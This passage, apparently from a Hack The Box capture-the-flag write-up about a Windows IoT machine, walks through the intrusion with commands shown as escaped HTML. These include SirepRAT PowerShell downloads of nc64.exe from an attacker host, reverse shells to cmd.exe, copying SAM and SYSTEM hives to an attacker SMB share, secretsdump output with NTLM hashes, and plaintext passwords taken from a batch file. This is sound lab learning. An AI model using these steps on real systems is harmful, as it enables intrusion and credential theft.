&amp;#34;C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe&amp;#34; --args &amp;#34; dir C:\\Data\\Users\\DefaultAccount\\&amp;#34; --v&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0358.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Execution still failed, though. I tried a number of PowerShell payloads and none worked. You can see an nc64.exe above; that was the only thing that worked.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python SirepRAT.py 10.10.10.204 LaunchCommandWithOutput --return_output --cmd &amp;#34;C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe&amp;#34; --args &amp;#34; iwr http://10.10.16.2:33333/ncexe/nc64.exe -OutFile C:\\Data\\Users\\DefaultAccount\nc64.exe&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python SirepRAT.py 10.10.10.204 LaunchCommandWithOutput --return_output --as_logged_on_user --cmd &amp;#34;C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe&amp;#34; --args &amp;#34; C:\\Data\\Users\\DefaultAccount\\nc64.exe 10.10.16.2 6666 -e C:\Windows\System32\cmd.exe&amp;#34; --v&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;These two commands solved my problem nicely.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0359.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I finally got a shell. There were no flags anywhere under Users.&lt;/p&gt;&#10;&lt;p&gt;Strangely, there seemed to be almost nothing in here. Was I inside a container? Or a virtual machine? Either way, it was an isolated environment.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0360.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0361.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;So was I currently on the physical machine, while the data directory inside it was actually the virtual machine?&lt;/p&gt;&#10;&lt;p&gt;I went through almost every directory. There were basically only a few applications, and they all seemed to be default applications. I decided to extract SAM and see if it contained any passwords. The SAM file here did not appear to be in use—I could access it directly with type—so I could simply copy it.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;smbserver.py kali . -smb2support&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;C:\Data\Windows\System32\config&amp;gt;copy .\SAM \\10.10.16.2\kali\SAM&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;C:\Data\Windows\System32\config&amp;gt;copy .\SYSTEM \\10.10.16.2\kali\SYSTEM&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;C:\Data\Windows\System32\config&amp;gt;copy .\SECURITY \\10.10.16.2\kali\SECURITY&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;a class="link" href="https://blog.csdn.net/feigerger/article/details/131603338" target="_blank" rel="noopener"&#10; &gt;https://blog.csdn.net/feigerger/article/details/131603338&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0362.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Unfortunately, that did not work. This was already a dead end. I had looked through nearly every file in the data folder, and I googled any unfamiliar ones to find out what services they belonged to, but found nothing. I started looking through the local directories and found PhoneProvisioner_OEM, but there was nothing useful in it.&lt;/p&gt;&#10;&lt;p&gt;I eventually found the passwords here, inside a hidden file.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;span class="lnt"&gt;17&#10;&lt;/span&gt;&lt;span class="lnt"&gt;18&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;C:\Program Files\WindowsPowerShell\Modules\PackageManagement\r.bat&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;@echo off&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;:LOOP&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;for /F &amp;#34;skip=6&amp;#34; %%i in (&amp;#39;net localgroup &amp;#34;administrators&amp;#34;&amp;#39;) do net localgroup &amp;#34;administrators&amp;#34; %%i /delete&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;net user app mesh5143&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;net user administrator _1nt3rn37ofTh1nGz&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ping -n 3 127.0.0.1&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;cls&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;GOTO :LOOP&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;:EXIT&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Fortunately, this password worked for authentication on port 80.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0363.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I could not find any way to exploit it online.&lt;/p&gt;&#10;&lt;p&gt;After looking more closely, I realized it seemed to expose all the information from this Windows 10 machine here. During validation, I confirmed that the password really was the computer&amp;rsquo;s administrator password, not a virtual one. I also picked up a Wi-Fi password along the way. Once I had that, I planned to upload lazagne.exe and check for locally stored passwords.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0364.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I went back to searching for hidden files, but still found nothing. I tried a great many approaches, and every result told me this was not the right path. I did not know which step I had gotten wrong, but at this point I was completely stuck, so I had no choice but to read a write-up.&lt;/p&gt;&#10;&lt;p&gt;After reading through the intended path, I found that my approach to obtaining the administrator password was indeed fine; it simply required going through files endlessly. The author listed three methods.&lt;/p&gt;&#10;&lt;p&gt;The first method extracted SAM and SYSTEM from the registry, whereas I had extracted the local files, which was why I got nothing.&lt;/p&gt;&#10;&lt;p&gt;The second method involved creating an administrator user, but the user would be removed. The cleanup script was the r.bat shown above.&lt;/p&gt;&#10;&lt;p&gt;The third method was to find r.bat and read the passwords. The passwords obtained with the first two methods were NTLM-encrypted and needed to be cracked.&lt;/p&gt;&#10;&lt;p&gt;Logging into the web application on port 8080 was no problem. My mistake was not searching carefully enough through the applications inside. I could only tell that it looked like a web-based resource-management application. I relied too heavily on google: when google returned no RCE results, I assumed it might be a rabbit hole. I had missed things while browsing through it.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0365.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;So Windows had connected the local device from earlier to this WDP. I needed to get a shell on that device through WDP.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0366.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Found it—the place where commands could be executed.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\\Data\\Users\\DefaultAccount\\nc64.exe 10.10.16.14 7777 -e C:\Windows\System32\cmd.exe&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;I could not see any difference in privileges at all, but it somehow got me in.&lt;/p&gt;&#10;&lt;p&gt;Old shell:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0367.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;New shell:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0368.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0369.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Everything under the data directory was now accessible.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0370.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Just like root.txt, it was encrypted.&lt;/p&gt;&#10;&lt;p&gt;After reading a lot of blog posts, I started trying to decrypt it.&lt;/p&gt;&#10;&lt;p&gt;The post that helped me the most was &lt;a class="link" href="https://stackoverflow.com/questions/63639876/powershell-password-decrypt" target="_blank" rel="noopener"&#10; &gt;https://stackoverflow.com/questions/63639876/powershell-password-decrypt&lt;/a&gt;.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0371.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;At first, I kept running into the problem shown above. Later I realized the data had already been read; I was simply displaying it incorrectly. I finished reading the post above.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0372.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Initially, my output always looked exactly like the command-line output shown there. But farther down, the author mentioned an interface, and that was the key. So all I needed was the following:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$creds = Import-Clixml -Path C:\data\users\administrator\root.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$creds.GetNetworkCredential().password&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0373.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The prerequisite for this technique was having the privileges of the user who created the encrypted content. If user.txt in the app folder had been created by administrator, my current user would have been able to decrypt it. Unfortunately, invoking it produced an error and it could not be decrypted. This was where dpapi was needed. dpapi allows passwords to be used across users and computers, so I could obtain the relevant key and try to decrypt it. For example, because I was administrator, I could decrypt root.txt. But decrypting user.txt under app produced an error because I was not the app user.&lt;/p&gt;&#10;&lt;p&gt;So now I needed the app user&amp;rsquo;s credentials. I really should have used the method below earlier; it is a fairly standard approach.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;span class="lnt"&gt;7&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;reg save HKLM\SYSTEM system.hiv&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;reg save HKLM\SAM sam.hiv&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;smbserver.py kali . -smb2support&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;copy .\sam.hiv \\10.10.16.14\kali\sam.hiv&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;copy .\system.hiv \\10.10.16.14\kali\system.hiv&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python D:\python3.9\Scripts\secretsdump.py -sam sam.hiv -system system.hiv LOCAL&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;[*] Target system bootKey: 0x4a96b0f404fd37b862c07c2aa37853a5&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Administrator:500:aad3b435b51404eeaad3b435b51404ee:a01f16a7fa376962dbeb29a764a06f00:::&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:330fe4fd406f9d0180d67adb0b0dfa65:::&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sshd:1000:aad3b435b51404eeaad3b435b51404ee:91ad590862916cdfd922475caed3acea:::&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;DevToolsUser:1002:aad3b435b51404eeaad3b435b51404ee:1b9ce6c5783785717e9bbb75ba5f9958:::&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;app:1003:aad3b435b51404eeaad3b435b51404ee:e3cb0651718ee9b4faffe19a51faff95:::&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;[*] Cleaning up...&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0374.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;app:mesh5143&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;It seemed that runas could not switch users, and even though the target had port 5985 open, I could not use evil-winrm either.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0375.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Even when I got it working, it had no effect, because these two environments did not seem to be the same. I still had to go through the web service on port 8080 to reach that NFS-mounted directory. I still did not understand how this environment was implemented. Was it a USB device or a remote service? The data window was mounted from somewhere, anyway. I would need to study it properly once I was finished.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0376.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe iwr http://10.10.16.14:33333/ncexe/nc64.exe -OutFile .\nc64.exe&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;I uploaded another copy of nc to the app directory because app did not have permission to access the previous one.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\\Data\\Users\\app\\nc64.exe 10.10.16.14 8888 -e C:\Windows\System32\cmd.exe&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Getting the flag:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$creds = Import-Clixml -Path C:\Data\Users\app\user.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$creds.GetNetworkCredential().password&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Done.&lt;/p&gt;&#10;&lt;p&gt;There were still a few unanswered questions, though.&lt;/p&gt;&#10;&lt;p&gt;First: I remembered that when decrypting, importing that user&amp;rsquo;s credentials might also let me decrypt it directly, without switching users.&lt;/p&gt;&#10;&lt;p&gt;Second: runas was the only method I knew for switching users, and it was also the only method I could find on google. I wanted to see whether there was a more convenient way.&lt;/p&gt;&#10;&lt;p&gt;Third: what exactly did this environment look like?&lt;/p&gt;&#10;&lt;p&gt;Starting with the first question, I googled for a long time without finding an answer, so I decided to ask claude.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0377.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The second question:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;psexec -u app -p password powershell&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$username = &amp;#34;app&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$password = ConvertTo-SecureString &amp;#34;password&amp;#34; -AsPlainText -Force&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$cred = New-Object System.Management.Automation.PSCredential($username, $password)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Method 1: Invoke-Command&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Invoke-Command -ScriptBlock { COMMAND_TO_RUN } -Credential $cred&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span 